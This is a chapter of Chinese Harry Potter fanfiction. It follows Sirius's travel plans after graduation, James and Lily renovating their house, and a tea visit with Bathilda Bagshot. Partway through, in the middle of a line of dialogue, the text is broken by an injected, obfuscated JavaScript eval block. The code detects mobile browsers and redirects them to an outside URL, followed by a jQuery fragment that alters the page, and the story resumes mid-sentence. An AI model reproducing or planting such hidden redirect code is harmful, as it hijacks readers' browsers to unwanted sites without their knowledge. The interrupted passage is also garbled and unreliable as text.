97.Chapter96

作品:《[HP]夜航船

    西里斯从霍格沃茨毕业了。


    阿尔法德重新出发以前把自己的金库钥匙给了西里斯,甚至陪他入手了一辆轻型摩托。这辆摩托如今大大咧咧地停在坡景街27号的门口,占据着一个车位。每当怀特太太走出自己的房门,都会对着那辆摩托仔细打量,而后告诫卡莉娜注意防盗。


    于是西里斯给自己建了一个车库,轰隆隆地骑进骑出。他在自己的房间里贴了一幅巨型世界地图,把阿尔法德曾去过的地方一一标注。


    “我要去比他更远、更多的地方。”西里斯的眼睛里燃烧着熊熊火焰,“探索一切——尽可能多地了解这个世界。”


    “我之前以为你想创办一个摇滚乐队。”卡莉娜注视着他标注复杂的世界地图,一个个便签被钉在他想要去的目的地。


    “我想过,”西里斯叼着一根棒棒糖,含糊地说,“但它不够自由,你不能真正地决定自己的目的地。没有詹姆、莱姆斯和彼得,这个乐队也没有意义——我不会有比他们更好的队友。”


    卡莉娜看着一根根彩色的线条连接着每一个目的地,西里斯甚至标上了船只和飞机的记号。


    “我要做一个旅行家。”西里斯靠在桌子上,“我自己决定去哪、做什么,想要回家就回家,想要出发就出发。”


    卡莉娜微笑起来:“尽管去做吧。”


    “我不会现在就动身。”西里斯把棒棒糖咬碎,“还有凤凰社的事要做。趁这个时间,正好可以做些计划,向各个魔法部寄送入境申请。”


    “很高兴你有自己的计划。”卡莉娜说,起开手边的一瓶黄油啤酒。


    “别担心,”西里斯对着她笑了,“到时候我会给你们寄明信片的——说不准我还会把这些写成游记——想想看,《大脚板的环球旅行》,听起来是不是非常不错?”


    “喔,”卡莉娜说,“已经迫不及待要阅读你的大作了,大脚板。”


    他们碰了碰手里的黄油啤酒。


    “你不会觉得我游手好闲,不做正事吗?”西里斯偏过头问。


    “不会。”卡莉娜认真地说,“只要是你愿意做的事,我都支持你去做——要我说,前景看起来相当光明。”


    “或者浪费金钱。”西里斯接着说。


    “它赚过来就是应该被花掉的。”卡莉娜随意地说,“古灵阁没有利率,放在金库里也只是积灰——我和阿尔法德的金库都等着你挥霍。”


    “或者觉得我一事无成?”西里斯说,“让你觉得丢尽了脸面?”


    “梅林啊,西里斯。”卡莉娜揉了揉他的后脑勺,“你总是记得这些话。”


    西里斯执拗地看着她。


    “我不知道别人的成功是什么样的。”卡莉娜对他说,“但对于我来说,成功在于每一天对我来说都是有意义的,我没有在做任何自己不愿意做的事,我的每一个行动我都不会为之遗憾、后悔,和你们度过的每一个时刻都让我幸福——那就是成功。成功对我来说不是金钱、声望、荣耀或者其他的什么,而是你们所有人和我一起生活着。”


    她感觉到西里斯毛茸茸的脑袋拱在她的肩上。


    “我希望你也是一样。”卡莉娜说,“脸面是这个世界上相当不值钱的东西,相比起你的幸福而言更是不值一提。”


    “我知道。”西里斯说,“我只是忍不住想要确认这一点。”


    好让我相信,在某一个地方,还有一个家永远向我敞开。


    ————


    詹姆和莉莉正在相看房子。


    在伊莎贝拉的启发下,他们看中了格兰芬多山谷的一套二层小楼。詹姆兴高采烈地给这座房子灰缝,戴着莉莉从炼金协会借出来的头盔。


    卡莉娜推开院子的铁门,沿着小鹅卵石路走近这座可爱的房子。


    “卡莉娜!”莉莉对她挥手,深红色的头发在身后绑成一束,脸上沾着些泥灰,但显得富有活力,“欢迎!我们下周就能住进来——到时候来参加我们的聚会!”


    “不用着急。”卡莉娜愉快地说,“毕业后应该好好休息一端时间,调整调整状态。”


    “但莱姆斯已经去上班了,不是吗?”莉莉说,手疾眼快地把詹姆脚下的一桶油漆搬开,“伊莎贝拉告诉我们公司里办了场欢迎会。”


    “你们来的时候我们也会办。”卡莉娜好笑地说,“他们不会放过任何一个大吵大闹的机会——莱姆斯要住在柳树农场,他提前来整修自己的宿舍——考虑到他毛茸茸的小问题,我们打算在他的宿舍底下挖一个温馨的地窖。”


    “看我的大作!”詹姆对她们俩说,“瞧——”


    莉莉和卡莉娜注视着那个吐着舌头的鬼脸,莉莉开始大笑,而卡莉娜陷入某种沉思。


    “看在梅林的份上,”卡莉娜低声对莉莉说,“是什么让你决定和他出去约会的?”


    “因为他成熟了很多,”莉莉也压低声音说,“而且总是让我感到开心——别让他听到这些好话,否则他就会和河豚一样膨胀起来。”


    “西弗勒斯怎么说?”卡莉娜问。


    “他接受了,艰难地。”莉莉耸耸肩,“直到现在还是会对彼此冷嘲热讽,但不再使用一些难听的外号——我想这是个进步。”


    “但还是会用外号。”卡莉娜听出了言外之意,忍不住微笑起来,“他们俩很擅长这个,不是吗?起外号,不管给谁。”


    “是啊。”莉莉认同地点头,“但还挺有趣的——叉子,叉子——读久了甚至觉得有些可爱。”


    “我听到你说我可爱!”詹姆喊道,“是不是?我听到了!”


    “梅林!”莉莉说,“是的,你这个耳朵很尖的家伙!”


    詹姆洋洋得意地笑了起来,一头黑发朝四面八方支棱着,像是个做工不良的鸟巢。


    “你也很可爱,小百合花。”詹姆亲昵地说,“能帮我递一下那个刷子吗?”


    “你明明拿着魔杖!”莉莉嘴上这样说着,但还是把刷子拿起来,“而且这可是格斯帕德的发明——全自动的。”


    “这样更有通力合作的感觉,不是吗?”詹姆接过那个刷子,“我喜欢这样——我和你,共筑新的小家。”


    卡莉娜用余光打量着莉莉的脸,发现她的面颊上布满红晕。


    于是她把一篮子馅饼留在桌子上,轻手轻脚地溜了出去,决心不在这里留着碍眼。她沿着来的道路往回走,看见隔壁的花园里一个老太太在浇水。听到这边有人响动,老太太抬眼看了过来。


    这是位打扮整洁的老太太,头顶的帽子上别着漂亮的小花。头发是纯净的白色,打着卷儿落在耳边。身形因为上了年纪有些佝偻,但看起来精力充沛。她手里提着一个形状复古的浇水壶,透亮的蓝色眼睛打量着卡莉娜。


    “您好。”卡莉娜礼貌地和老太太打招呼,“您的花园很美。”


    “谢谢。”老太太脸上扬起一个笑容,“我知道隔壁要搬进来一对爱侣——你是他们的朋友吗?”


    “是的。”卡莉娜回答道,“我希望我们的来访不会打扰到您。”


    “不会!”老太太高兴地说,“我喜欢年轻人!”


    “喔,”卡莉娜说,“恐怕我们能造成非同一般的分贝。”


    “那更好,”老太太机灵地往詹姆和莉莉的房子看了一眼,“他们俩一定交友广泛——都是充满活力的年轻人,热情,性格友善,对朋友们多有照顾——但不能一个人来拜访他们,是不是?”


    老太太促狭地挤挤眼睛。


    “没错。”卡莉娜也促狭地说,“很难在他们的世界里插上一脚,我想我还是先走一步。”


    “可以来我家坐坐,”老太太邀请到,“已经很久没有人来拜访我了!”


    “我的荣幸。”卡莉娜绕出詹姆和莉莉的院子,“事实上,我甚至有些受宠若惊了——女士,我能否请教一下您的名字?”


    “巴沙特。”老太太打开自己的院门,“巴希达·巴沙特。”


    卡莉娜在她的门口站住,呆呆地瞪大眼睛。


    “巴沙特女士?”她问,“是我想象的那位……巴沙特女士?”


    “如果你是说写《魔法史》的那位,”老太太诙谐地说,“是的,我想没有其他人叫这个名字了。”


    “您介意,”卡莉娜有些紧张地问,“我是说,您介意我再叫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757261|185562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个人来吗?女士?我的意思是,他是您的忠实读者……如果您介意的话……”


    “喔,完全不!”巴希达·巴沙特高兴地说,“现在还有年轻人喜欢魔法史,我很高兴!”


    卡莉娜很快地给卡拉多克发去消息。


    几乎是几分钟后,卡拉多克就跑着出现在院子门口。


    “巴沙特女士?”他忐忑地问,怀里还抱着自己用了七年的那本《魔法史》,头发因为奔跑而歪东倒西,“我是卡拉多克·迪尔伯恩,我小时候就是拿《魔法史》认的字——我的意思是,您能不能?”


    卡莉娜发觉他的表情就像是自己第一次看见尼可,忍不住笑了起来。


    “给你签名?当然可以!”巴希达脸上的皱纹因为笑容而加深了,“进来吧,孩子们,我们可以一起享用下午茶。”


    卡拉多克带着一种梦幻的表情走进这幢温馨的房子,脚步甚至有些发飘。


    卡莉娜和卡拉多克被安顿在复古的扶手椅上,几只茶杯和茶壶自己飘了过来,给他们倒茶。


    在卡拉多克和巴希达说起上个世纪的趣闻和野史的时候,卡莉娜的目光落在一旁的五斗橱上。这是一个弓形五斗橱,上面摆着好多照片——它们被擦得一尘不染,装饰在华丽的相框里。


    最中央的照片是一张合照。巴希达——那个时候也不年轻——站在最中间,一左一右站着两个少年。一个金色的鬈发垂到肩头,脸上带着快乐狂放的表情,而另一个则有一绺淡淡的小胡子,红棕色头发长及胳膊肘。


    也许是因为她的目光在这些照片上逗留太久,巴希达和卡拉多克的谈话声慢慢低了下去,而后停住了。


    “惊人的英俊,不是吗?”巴希达对她说,“两个男孩儿。”


    “是的,”卡莉娜说,“这是一张看起来很幸福的照片。”


    “很幸福。”巴希达重复这个词,“至少一段时间内是的。是的,卡莉娜,是的。”


    她手里端着的茶杯微微颤抖着。


    卡拉多克的目光在这些照片上略过——一丝明悟的光芒在他脸上点亮了。但他什么都没有说,只是很温和地把话题引到更早以前,引到霍格沃茨和那座大家都热爱的城堡上。


    卡莉娜想起在这个小小村庄里住着的邓布利多教授,又想起在几英里外山坡上暂住的格林德沃先生,惊觉这是一段对巴希达而言也很遥远的时光。自从她的侄孙在那个可怕的日子逃走,她再也没见过他。


    离开以前,卡拉多克很不好意思地请求和巴希达合照。


    “我爸爸会嫉妒我的。”他的快乐溢于言表,“我会把它镶嵌好挂在墙上——”


    “挂在最中间,”卡莉娜说,“和尼可的照片一块儿,相得益彰,不是吗?”


    卡拉多克的笑容很可爱。


    “我们还会来看您的,女士。”卡莉娜温和地说,“但我会控制卡拉多克,不让他每天都来蹭下午茶。”


    “喔,我不介意。”巴希达慈爱地说,“我喜欢从年轻人的角度来看看历史。”


    他们和巴希达告别,决定在黄昏中慢慢走回农场。


    在农场修好的小道上,他们俩和格林德沃巧遇了。


    “晚上好,先生。”卡莉娜温和地说,“刚吃完晚饭吗?”


    “不要明知故问。”格林德沃板着脸说。


    “我们从巴沙特女士那里回来。”卡拉多克把一张巴希达的照片递给格林德沃,“她是一位知识渊博的女士——这个下午比我想象得更加完美——”


    “他是巴沙特女士的忠实读者。”卡莉娜抱歉地说,“抱歉,他太激动了——”


    格林德沃注视着在照片上微笑的老太太,穿着小碎花的裙子,披着一条薄薄的米色坎肩。


    “照相技术不错。”他说,不经意间把照片收进自己的口袋,不打一声招呼地沿着小道往下走。


    “你觉得他会把它镶嵌起来挂在最中间吗?”卡莉娜轻轻地问。


    “喔,我们什么都不知道,不是吗?”卡拉多克也轻轻地回答。


    他们俩一块儿笑了起来,牵着手走在夕阳映照的农场里,夏日的野花开了遍地。